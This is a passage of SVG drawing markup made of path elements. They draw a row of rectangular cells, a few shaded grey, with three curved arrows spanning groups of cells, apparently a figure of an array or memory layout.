style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 39.683813 0.0006875 L 39.683813 28.348344 L 45.355688 28.348344 L 45.355688 0.0006875 Z M 39.683813 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 45.355688 0.0006875 L 45.355688 28.348344 L 51.023656 28.348344 L 51.023656 0.0006875 Z M 45.355688 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 51.023656 0.0006875 L 51.023656 28.348344 L 56.691625 28.348344 L 56.691625 0.0006875 Z M 51.023656 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 56.691625 0.0006875 L 56.691625 28.348344 L 62.3635 28.348344 L 62.3635 0.0006875 Z M 56.691625 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 62.3635 0.0006875 L 62.3635 28.348344 L 68.031469 28.348344 L 68.031469 0.0006875 Z M 62.3635 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 68.031469 0.0006875 L 68.031469 28.348344 L 73.699438 28.348344 L 73.699438 0.0006875 Z M 68.031469 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 73.699438 0.0006875 L 73.699438 28.348344 L 79.371313 28.348344 L 79.371313 0.0006875 Z M 73.699438 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 79.371313 0.0006875 L 79.371313 28.348344 L 85.039281 28.348344 L 85.039281 0.0006875 Z M 79.371313 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 85.039281 0.0006875 L 85.039281 28.348344 L 90.70725 28.348344 L 90.70725 0.0006875 Z M 85.039281 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(75%,75%,75%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 90.70725 0.0006875 L 90.70725 28.348344 L 96.379125 28.348344 L 96.379125 0.0006875 Z M 90.70725 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 96.379125 0.0006875 L 96.379125 28.348344 L 102.047094 28.348344 L 102.047094 0.0006875 Z M 96.379125 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 102.047094 0.0006875 L 102.047094 28.348344 L 107.715063 28.348344 L 107.715063 0.0006875 Z M 102.047094 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 107.715063 0.0006875 L 107.715063 28.348344 L 113.386938 28.348344 L 113.386938 0.0006875 Z M 107.715063 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 113.386938 0.0006875 L 113.386938 28.348344 L 119.054906 28.348344 L 119.054906 0.0006875 Z M 113.386938 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 119.054906 0.0006875 L 119.054906 28.348344 L 124.722875 28.348344 L 124.722875 0.0006875 Z M 119.054906 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 124.722875 0.0006875 L 124.722875 28.348344 L 130.39475 28.348344 L 130.39475 0.0006875 Z M 124.722875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 130.39475 0.0006875 L 130.39475 28.348344 L 136.062719 28.348344 L 136.062719 0.0006875 Z M 130.39475 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 136.062719 0.0006875 L 136.062719 28.348344 L 141.730687 28.348344 L 141.730687 0.0006875 Z M 136.062719 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 141.730687 0.0006875 L 141.730687 28.348344 L 147.402562 28.348344 L 147.402562 0.0006875 Z M 141.730687 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 147.402562 0.0006875 L 147.402562 28.348344 L 153.070531 28.348344 L 153.070531 0.0006875 Z M 147.402562 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 153.070531 0.0006875 L 153.070531 28.348344 L 158.7385 28.348344 L 158.7385 0.0006875 Z M 153.070531 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 158.7385 0.0006875 L 158.7385 28.348344 L 164.410375 28.348344 L 164.410375 0.0006875 Z M 158.7385 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 164.410375 0.0006875 L 164.410375 28.348344 L 170.078344 28.348344 L 170.078344 0.0006875 Z M 164.410375 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.078344 0.0006875 L 170.078344 28.348344 L 175.746312 28.348344 L 175.746312 0.0006875 Z M 170.078344 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 175.746312 0.0006875 L 175.746312 28.348344 L 181.418187 28.348344 L 181.418187 0.0006875 Z M 175.746312 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(75%,75%,75%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 181.418187 0.0006875 L 181.418187 28.348344 L 187.086156 28.348344 L 187.086156 0.0006875 Z M 181.418187 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 187.086156 0.0006875 L 187.086156 28.348344 L 192.754125 28.348344 L 192.754125 0.0006875 Z M 187.086156 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 192.754125 0.0006875 L 192.754125 28.348344 L 198.426 28.348344 L 198.426 0.0006875 Z M 192.754125 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 198.426 0.0006875 L 198.426 28.348344 L 204.093969 28.348344 L 204.093969 0.0006875 Z M 198.426 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 204.093969 0.0006875 L 204.093969 28.348344 L 209.761937 28.348344 L 209.761937 0.0006875 Z M 204.093969 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 209.761937 0.0006875 L 209.761937 28.348344 L 215.433812 28.348344 L 215.433812 0.0006875 Z M 209.761937 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 215.433812 0.0006875 L 215.433812 28.348344 L 221.101781 28.348344 L 221.101781 0.0006875 Z M 215.433812 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 221.101781 0.0006875 L 221.101781 28.348344 L 226.76975 28.348344 L 226.76975 0.0006875 Z M 221.101781 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 226.76975 0.0006875 L 226.76975 28.348344 L 232.441625 28.348344 L 232.441625 0.0006875 Z M 226.76975 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 232.441625 0.0006875 L 232.441625 28.348344 L 238.109594 28.348344 L 238.109594 0.0006875 Z M 232.441625 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 238.109594 0.0006875 L 238.109594 28.348344 L 243.777562 28.348344 L 243.777562 0.0006875 Z M 238.109594 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 243.777562 0.0006875 L 243.777562 28.348344 L 249.449437 28.348344 L 249.449437 0.0006875 Z M 243.777562 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 249.449437 0.0006875 L 249.449437 28.348344 L 255.117406 28.348344 L 255.117406 0.0006875 Z M 249.449437 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.117406 0.0006875 L 255.117406 28.348344 L 260.785375 28.348344 L 260.785375 0.0006875 Z M 255.117406 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 260.785375 0.0006875 L 260.785375 28.348344 L 266.45725 28.348344 L 266.45725 0.0006875 Z M 260.785375 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 266.45725 0.0006875 L 266.45725 28.348344 L 272.125219 28.348344 L 272.125219 0.0006875 Z M 266.45725 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(75%,75%,75%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 272.125219 0.0006875 L 272.125219 28.348344 L 277.793187 28.348344 L 277.793187 0.0006875 Z M 272.125219 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 277.793187 0.0006875 L 277.793187 28.348344 L 283.465062 28.348344 L 283.465062 0.0006875 Z M 277.793187 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 283.465062 0.0006875 L 283.465062 28.348344 L 289.133031 28.348344 L 289.133031 0.0006875 Z M 283.465062 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 289.133031 0.0006875 L 289.133031 28.348344 L 294.801 28.348344 L 294.801 0.0006875 Z M 289.133031 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 294.801 0.0006875 L 294.801 28.348344 L 300.472875 28.348344 L 300.472875 0.0006875 Z M 294.801 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 300.472875 0.0006875 L 300.472875 28.348344 L 306.140844 28.348344 L 306.140844 0.0006875 Z M 300.472875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 306.140844 0.0006875 L 306.140844 28.348344 L 311.808812 28.348344 L 311.808812 0.0006875 Z M 306.140844 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 311.808812 0.0006875 L 311.808812 28.348344 L 317.480687 28.348344 L 317.480687 0.0006875 Z M 311.808812 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 317.480687 0.0006875 L 317.480687 28.348344 L 323.148656 28.348344 L 323.148656 0.0006875 Z M 317.480687 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 323.148656 0.0006875 L 323.148656 28.348344 L 328.816625 28.348344 L 328.816625 0.0006875 Z M 323.148656 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 328.816625 0.0006875 L 328.816625 28.348344 L 334.4885 28.348344 L 334.4885 0.0006875 Z M 328.816625 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 334.4885 0.0006875 L 334.4885 28.348344 L 340.156469 28.348344 L 340.156469 0.0006875 Z M 334.4885 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 340.156469 0.0006875 L 340.156469 28.348344 L 345.824437 28.348344 L 345.824437 0.0006875 Z M 340.156469 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 345.824437 0.0006875 L 345.824437 28.348344 L 351.496312 28.348344 L 351.496312 0.0006875 Z M 345.824437 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 351.496312 0.0006875 L 351.496312 28.348344 L 357.164281 28.348344 L 357.164281 0.0006875 Z M 351.496312 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 357.164281 0.0006875 L 357.164281 28.348344 L 362.83225 28.348344 L 362.83225 0.0006875 Z M 357.164281 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 0.00021875 28.348344 C 50.027563 78.371781 131.390844 78.371781 176.293187 33.469437 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:round;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.146898 0.00206566 L 0.197298 1.786423 L 0.20006 -0.000696507 L 0.20006 -1.785053 Z M 7.146898 0.00206566 " transform="matrix(0.7071,0.7071,0.7071,-0.7071,176.42153,45.02992)"/> +<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 181.418187 28.348344 C 206.429906 53.360062 247.1135 53.360062 267.000219 33.469437 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:round;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.145923 0.00109072 L 0.199085 1.78821 L 0.199085 -1.786028 Z M 7.145923 0.00109072 " transform="matrix(0.7071,0.7071,0.7071,-0.7071,267.12994,45.02992)"/> +<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 272.125219 28.348344 C 297.136937 53.360062 337.820531 53.360062 357.711156 33.469437 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:round;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.144956 0.000122861 L 0.198117 1.787242 L 0.200879 0.000122861 L 0.198117 -1.786996 Z M 7.144956 0.000122861 " transform="matrix(0.7071,0.7071,0.7071,-0.7071,357.83834,45.02992)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 90.70725 0.0006875 L 90.70725 28.348344 L 96.379125 28.348344 L 96.379125 0.0006875 Z M 90.70725 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 96.379125 0.0006875 L 96.379125 28.348344 L 102.047094 28.348344 L 102.047094 0.0006875 Z M 96.379125 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 102.047094 0.0006875 L 102.047094 28.348344 L 107.715063 28.348344 L 107.715063 0.0006875 Z M 102.047094 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 107.715063 0.0006875 L 107.715063 28.348344 L 113.386938 28.348344 L 113.386938 0.0006875 Z M 107.715063 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 113.386938 0.0006875 L 113.386938 28.348344 L 119.054906 28.348344 L 119.054906 0.0006875 Z M 113.386938 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 119.054906 0.0006875 L 119.054906 28.348344 L 124.722875 28.348344 L 124.722875 0.0006875 Z M 119.054906 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 124.722875 0.0006875 L 124.722875 28.348344 L 130.39475 28.348344 L 130.39475 0.0006875 Z M 124.722875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 130.39475 0.0006875 L 130.39475 28.348344 L 136.062719 28.348344 L 136.062719 0.0006875 Z M 130.39475 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 136.062719 0.0006875 L 136.062719 28.348344 L 141.730687 28.348344 L 141.730687 0.0006875 Z M 136.062719 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path 